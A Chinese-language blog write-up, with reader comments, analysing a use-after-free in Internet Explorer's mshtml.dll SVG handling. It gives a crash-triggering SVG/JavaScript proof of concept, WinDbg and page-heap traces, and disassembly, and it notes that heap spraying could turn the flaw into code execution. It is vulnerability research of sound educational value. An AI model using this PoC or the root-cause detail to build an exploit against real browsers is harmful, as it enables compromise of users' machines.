作者:k0shl 转载请注明出处:https://whereisk0shl.top
2016年的UAF,我也好想回到2016年4月3日,可惜再也等不到她..
漏洞说明
软件版本:
IE10即可
PoC:
<svg xmlns="http://www.w3.org/2000/svg" xlink="http://www.w3.org/1999/xlink">
<pattern id="outer"><rect id="rect"><pattern id="inner"></pattern></rect></pattern>
<script><![CDATA[
function handler() {
inner.setAttribute("viewBox");
}
outer.addEventListener("DOMAttrModified", function () { handler(); });
doc = document.implementation.createDocument("", "", null);
doc.adoptNode(rect.attributes[0]);
]]></script>
</svg>
漏洞复现
这是IE浏览器的一处释放后重用漏洞,问题出现在mshtml.dll中CSVGHelpers类的SetAttributeStringAndPointer函数,此函数中会调用一处ProcessHeapFree用来释放结构体,而在释放后,没有对结构体进行标记,在后来函数调用中会引用到这个结构体,从而导致了漏洞的发生。在后续利用中,可以利用堆喷控制结构体某处指针,在后续调用中引用指针时获得执行代码的能力,下面对此漏洞进行详细分析。
首先,调试IE的UAF漏洞需要Windbg的gflags.exe功能,开启页堆监视,可以很好的复现这个漏洞的发生场景。
>gflags.exe /i iexplore.exe +ust +hpa
开启之后执行PoC,IE崩溃,到达漏洞现场
(bb0.940): Break instruction exception - code 80000003 (first chance)
eax=004779d8 ebx=00000000 ecx=00000002 edx=004779d8 esi=00250000 edi=00250000
eip=7440ba58 esp=08af3cac ebp=08af3cc8 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\syswow64\verifier.dll -
verifier!VerifierStopMessage+0x1f8:
7440ba58 cc int 3
这时候heap会捕获漏洞发生时堆得异常变化情况。
===========================================================
VERIFIER STOP 00000007: pid 0xBB0: block already freed
00251000 : Heap handle
0C58B438 : Heap block
00000010 : Block size
00000000 :
===========================================================
This verifier stop is not continuable. Process will be terminated
when you use the `go' debugger command.
===========================================================
重点关注0C58B438地址,这个地址就是堆块的地址,可以看到这个块已经被释放了,说明在之前这个堆块中的内容在某处释放了,然而后续却又一次引用到了释放后的堆块,因此造成的UAF漏洞,通过heap -p -a可以观察到Heap block的引用情况。
0:007> !heap -p -a 0c58b438
address 0c58b438 found in
_HEAP @ 5100000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0c58b410 0009 0000 [00] 0c58b438 00010 - (free DelayedFree)
Trace: 0334
7440a7d6 verifier!AVrfpDphNormalHeapFree+0x000000b6
744090d3 verifier!AVrfDebugPageHeapFree+0x000000e3
77b61564 ntdll!RtlDebugFreeHeap+0x0000002f
77b1ac29 ntdll!RtlpFreeHeap+0x0000005d
77ac34a2 ntdll!RtlFreeHeap+0x00000142
7441cc4f verifier!AVrfpRtlFreeHeap+0x00000086
755c14dd kernel32!HeapFree+0x00000014
7441dd48 verifier!AVrfpHeapFree+0x00000097
6f1c0639 MSHTML!MemoryProtection::CMemoryProtector::ReclaimUnmarkedBlocks+0x0000006a
6f1c05ae MSHTML!MemoryProtection::CMemoryProtector::ReclaimMemory+0x000000cd
6f1840d4 MSHTML!MemoryProtection::CMemoryProtector::ProtectedFree+0x0000003f
6f2fe8bc MSHTML!CEventMgr::Dispatch+0x000004a5
6f7f2831 MSHTML!CEventMgr::DispatchDOMAttrModified+0x00000098
6f883793 MSHTML!CElement::ie9_setAttributeNSInternal+0x0000041b
6f24e12b MSHTML!CElement::Var_setAttribute+0x000001f1
6f24df14 MSHTML!CFastDOM::CElement::Trampoline_setAttribute+0x00000044
6ecfe6ee jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x00000101
可以看到堆块的内存会调用HeapFree释放内存空间,这里和kb回溯有所出入,因为!heap跟踪的是堆块的调用情况,这时再通过kb回溯一下。
0:007> kb
ChildEBP RetAddr Args to Child
08c741d0 743a9d3c 00000007 743a16d4 00531000 verifier!VerifierStopMessage+0x1f8
08c74234 743aa22a 00531000 00000004 0d013268 verifier!AVrfpDphReportCorruptedBlock+0x10c
08c74290 743aa742 00531000 0d013268 00000004 verifier!AVrfpDphCheckNormalHeapBlock+0x11a
08c742b0 743a90d3 00531000 00980000 01000002 verifier!AVrfpDphNormalHeapFree+0x22
08c742d4 77b61564 00530000 01000002 0d013268 verifier!AVrfDebugPageHeapFree+0xe3
08c7431c 77b1ac29 00530000 01000002 0d013268 ntdll!RtlDebugFreeHeap+0x2f
08c74410 77ac34a2 00000000 0d013268 00000000 ntdll!RtlpFreeHeap+0x5d
08c74430 743bcc4f 00530000 00000000 0d013268 ntdll!RtlFreeHeap+0x142
08c74478 755c14dd 00530000 00000000 0d013268 verifier!AVrfpRtlFreeHeap+0x86
08c7448c 743bdd48 00530000 00000000 0d013268 kernel32!HeapFree+0x14
08c744d8 6a510639 00530000 00000000 0d013268 verifier!AVrfpHeapFree+0x97
08c7450c 6a5105ae 00a15df8 0d017320 00530000 MSHTML!MemoryProtection::CMemoryProtector::ReclaimUnmarkedBlocks+0x6a
08c7457c 6a4ac606 0000002b 8000ffff 090a8c28 MSHTML!MemoryProtection::CMemoryProtector::ReclaimMemory+0xcd
08c745a0 6ab61856 6ab61790 08c745c8 1f1d0422 MSHTML!ProcessHeapFree+0x45
08c745b8 6a5ec799 090a8c28 0d0172dc 6a5edf88 MSHTML!CSVGHelpers::SetAttributeStringAndPointer<CRectF,CSVGRect>+0xb6
08c745d0 6a5eef30 090a8c28 090a8c28 0d0172dc MSHTML!BASICPROPPARAMS::SetString+0x21
08c74610 6a5f0158 6a5edf74 1f1d0422 0d0172dc MSHTML!PROPERTYDESC::HandleStringProperty+0xd0
08c7463c 6a59e29f 090a8c28 1f1d0422 0d0172dc MSHTML!PROPERTYDESC::CallHandler+0x60
08c7467c 6a59e1c3 6a5edf74 000003fd 08c74760 MSHTML!CElement::SetAttributeFromPropDesc+0xb6
可以看到在0bb14d88位置调用了SetAttributeStringAndPointer函数,但这里并不是关键,关键在于之前的SetAttributeFromPropDesc,下面就由此入手分析这个UAF漏洞。
漏洞分析
首先,先通过PoC简单分析一下。
<script><![CDATA[
function handler() {
inner.setAttribute("viewBox");
}
outer.addEventListener("DOMAttrModified", function () { handler(); });
doc = document.implementation.createDocument("", "", null);
doc.adoptNode(rect.attributes[0]);
]]></script>
问题出现在CDATA中,在outer.addEventListener中,通过handler创建了一个结构体viewBox,接下来在doc变量会调用createDocutment,这时会释放这个结构体,最后在adopteNode中会再次调用这个结构体,由于释放时没有对这个结构体进行标记,导致后续调用位置是释放后的值,从而导致漏洞发生。
在6a59e1be地址下断点,重新附加PoC,命中断点,这里我要说明一下,由于调试环境是win7 x64,IE 11,存在ASLR,所以调试时地址不太相同,需要计算偏移才能计算绝对地址。
Breakpoint 0 hit
eax=00000002 ebx=00000000 ecx=090a8c28 edx=00000000 esi=090a8c28 edi=000003fd
eip=6a59e1be esp=08e5b084 ebp=08e5b10c iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246
MSHTML!CElement::ie9_setAttributeNSInternal+0x16c:
6a59e1be e88be16400 call MSHTML!CElement::SetAttributeFromPropDesc (6abec34e)
0:007> kb
ChildEBP RetAddr Args to Child
08e5b10c 6a59e12b 00000000 00000000 083f51c0 MSHTML!CElement::ie9_setAttributeNSInternal+0x16c
08e5b170 6a59df14 0008fc18 08e5b1a8 00000002 MSHTML!CElement::Var_setAttribute+0x1f1
08e5b198 6ffbe6ee 0883ec30 10000002 097bd120 MSHTML!CFastDOM::CElement::Trampoline_setAttribute+0x44
在该地址处会调用SetAttributeFromPropDesc函数,这个函数会创建结构体,创建后,会调用CallHandler进行和viewBox有关操作。
0:007> bp 6A5F00F3
0:007> g
Breakpoint 1 hit
eax=1f1d0422 ebx=090a8c28 ecx=6a5edf74 edx=0001adb0 esi=00000000 edi=6a5edf74
eip=6a5f00f3 esp=08e5b040 ebp=08e5b07c iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200206
MSHTML!PROPERTYDESC::CallHandler:
6a5f00f3 8bff mov edi,edi
0:007> kb
ChildEBP RetAddr Args to Child
08e5b03c 6a59e29f 090a8c28 1f1d0422 00a26c0c MSHTML!PROPERTYDESC::CallHandler
08e5b07c 6a59e1c3 6a5edf74 000003fd 08e5b160 MSHTML!CElement::SetAttributeFromPropDesc+0xb6
08e5b10c 6a59e12b 00000000 00000000 083f51c0 MSHTML!CElement::ie9_setAttributeNSInternal+0x171
接下来引用时会调用SetViewBoxHelper函数,在调用这个函数的过程中,传递空值导致堆释放。
0:007> p
eax=09da8254 ebx=1f1d0422 ecx=6ab61790 edx=6a5edf74 esi=6ab61790 edi=08e57b08
eip=6a5ec78e esp=08e57b04 ebp=08e57b10 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
MSHTML!BASICPROPPARAMS::SetString+0x16:
6a5ec78e ff7508 push dword ptr [ebp+8] ss:002b:08e57b18=090a8c28
0:007> p
eax=09da8254 ebx=1f1d0422 ecx=6ab61790 edx=6a5edf74 esi=6ab61790 edi=08e57b08
eip=6a5ec791 esp=08e57b00 ebp=08e57b10 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
MSHTML!BASICPROPPARAMS::SetString+0x19:
6a5ec791 ff1534af566b call dword ptr [MSHTML!__guard_check_icall_fptr (6b56af34)] ds:002b:6b56af34=6a4d4b50
0:007> p
eax=09da8254 ebx=1f1d0422 ecx=6ab61790 edx=6a5edf74 esi=6ab61790 edi=08e57b08
eip=6a5ec797 esp=08e57b00 ebp=08e57b10 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
MSHTML!BASICPROPPARAMS::SetString+0x1f:
6a5ec797 ffd6 call esi {MSHTML!CSVGElement::SetViewBoxHelper (6ab61790)}
通过IDA,可以看到SetViewBoxHerlper向漏洞函数SetAttributeStringAndPointer跳转。
MSHTML!CSVGElement::SetViewBoxHelper:
6ab61790 8bff mov edi,edi
6ab61792 55 push ebp
6ab61793 8bec mov ebp,esp
6ab61795 8b4d08 mov ecx,dword ptr [ebp+8]
6ab61798 5d pop ebp
6ab61799 eb05 jmp MSHTML!CSVGHelpers::SetAttributeStringAndPointer<CRectF,CSVGRect> (6ab617a0)
看一下SetAttributeStringAndPointer的函数结构。
.text:63C817A0 ; Attributes: bp-based frame
.text:63C817A0
.text:63C817A0 ; public: static long __stdcall CSVGHelpers::SetAttributeStringAndPointer<class CRectF, class CSVGRect>(class CSVGElement *, struct PROPERTYDESC_STRING_GETSET const *, long, unsigned short const *)
.text:63C817A0 ??$SetAttributeStringAndPointer@VCRectF@@VCSVGRect@@@CSVGHelpers@@SGJPAVCSVGElement@@PBUPROPERTYDESC_STRING_GETSET@@JPBG@Z proc near
.text:63C817A0 ; CODE XREF: CSVGElement::SetViewBoxHelper(ushort const *)+9j
.text:63C817A0 ; CSVGElement::CloneAttributes(CElement *)+BE_x0019_p
.text:63C817A0
.text:63C817A0 dwFlags = dword ptr -4
.text:63C817A0 arg_4 = dword ptr 0Ch
.text:63C817A0
.text:63C817A0 ; FUNCTION CHUNK AT .text:63EDE500 SIZE 0000001B BYTES
函数头部并不重要接下来有一处关键跳转。
.text:63C81812 loc_63C81812: ; CODE XREF: CSVGHelpers::SetAttributeStringAndPointer<CRectF,CSVGRect>(CSVGElement *,PROPERTYDESC_STRING_GETSET const *,long,ushort const *)+2Fj
.text:63C81812 push [ebp+arg_4]
.text:63C81815 mov ecx, esi
.text:63C81817 call ?FromString@CSVGRect@@SGJPAVCRectF@@PBUPROPERTYDESC@@PBG@Z ; CSVGRect::FromString(CRectF *,PROPERTYDESC const *,ushort const *)
.text:63C8181C mov edi, eax
.text:63C8181E test edi, edi
.text:63C81820 js loc_63EDE500
这里会进行判断,若为空,则直接跳转释放堆块。
.text:63C8184F loc_63C8184F: ; CODE XREF: CSVGHelpers::SetAttributeStringAndPointer<CRectF,CSVGRect>(CSVGElement *,PROPERTYDESC_STRING_GETSET const *,long,ushort const *)+6Cj
.text:63C8184F ; CSVGHelpers::SetAttributeStringAndPointer<CRectF,CSVGRect>(CSVGElement *,PROPERTYDESC_STRING_GETSET const *,long,ushort const *)+25CD70_x0019_j
.text:63C8184F mov ecx, esi ; void *
.text:63C81851 call ?ProcessHeapFree@@YGHPAX@Z ; ProcessHeapFree(void *)
.text:63C81856 jmp short loc_63C81839
接下来单步执行,并在ProcessHeapFree下断点。
0:007> p
eax=09e3dd0c ebx=1f1d0422 ecx=090a8c28 edx=6a5edf74 esi=6ab61790 edi=08e56d48
eip=6ab617a0 esp=08e56d3c ebp=08e56d50 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
MSHTML!CSVGHelpers::SetAttributeStringAndPointer<CRectF,CSVGRect>:
6ab617a0 8bff mov edi,edi
eax=00000001 ebx=090a8c28 ecx=0d017320 edx=00000002 esi=0d017320 edi=8000ffff
eip=6ab61851 esp=08c745a8 ebp=08c745b8 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
MSHTML!CSVGHelpers::SetAttributeStringAndPointer<CRectF,CSVGRect>+0xb1:
6ab61851 e86bad94ff call MSHTML!ProcessHeapFree (6a4ac5c1)
===========================================================
VERIFIER STOP 00000007: pid 0x95C: block already freed
00531000 : Heap handle
0D013268 : Heap block
00000010 : Block size
00000000 :
===========================================================
This verifier stop is not continuable. Process will be terminated
when you use the `go' debugger command.
===========================================================
(95c.758): Break instruction exception - code 80000003 (first chance)
eax=00c979d8 ebx=00000000 ecx=00000002 edx=00c979d8 esi=00530000 edi=00530000
eip=743aba58 esp=08c741b4 ebp=08c741d0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
verifier!VerifierStopMessage+0x1f8:
743aba58 cc int 3
可以看到,释放之后没有对堆块进行标记,再次引用时,造成了UAF的发生。
大佬,你好,小白有个问题想请教下,就是对于这种IE的漏洞,如果只有一个poc,而没有漏洞的一些描述信息,应该怎么去分析呢?还有个很蠢的问题就是,我在用windbg attach后,打开poc,windbg并不会由于IE的崩溃而端下来,搞得我快崩溃了:-(,好心的大佬指定一下,拜托。
@beet1e IE一个新的tag是一个新的进程,windbg没命中crash是附加错进程了
@K0Pwn_0110 @K0Pwn_0110 真是感谢博主能够回答我!!没有啊,博主,我就开了一个tag,而且windbg attach界面只有一个iexplore.exe进程,我attach上去之后,g让ie运行起来,然后就在这个tag打开poc,ie会崩溃,但奇怪的是,ie崩溃时显示出一个对话框,一个选项是联机查找解决方案,一个是关闭程序,弹出这个对话框的时候,windbg处于running状态,不管点那个选项,ie都会关闭,而windbg也是断在ie结束后的地方,不会断在crash处。麻烦博主了,见谅!
@beet1e 这个就是没有附加对进程的原因,我建议在PoC前面加一个alert(1),然后你再运行,弹出1对话框的时候,你再用windbg attach process,这时候应该会多出一个IE进程,附加上就可以了
@K0Pwn_0110 感谢博主的认真解答,这个问题在博主的帮助下(添加alert(1))已经解决了。为了找到这个问题的原因,我做了一组对比实验。对比实验1:如果直接打开添加有alert的poc的话,在弹出对话框时用windbg attach,然后g继续运行,然后点击确定对话框,此时windbg可以在crash处断下;对比实验2:如果先打开ie然后用windbg attach上去,此时ie只有一个标签页,而且无法响应,在windbg下输入g命令,此时ie该标签页可以正常响应,由此确定windbg没有attach进程,此时在该tag下通过文件->打开->选定与实验1相同的poc,然后出现对话框后点击确定,windbg无法在crash处断下;对比实验3:与对比试验2相似,只是在同一个tag下打开poc出现对话框后在用windbg attach上去,然后g继续运行,点击对话框的确定,发现还是无法在crash处断下。通过查看任务管理器,发现即使是在同一个tag下打开poc,ie还是会启动一个新的进程来装载这个poc页面,而原来的进程并没有被kill掉,而windbg还是处在原来的那个进程下,而poc页面处在一个新进程中,所以导致windbg无法catch到crash。总之,还是博主说的没有attach到真正的poc进程。太感谢博主了!!!如果博主嫌我太啰嗦,可以把我的评论删掉:-)
@beet1e 客气哈,总结的挺好的!have fun and pwn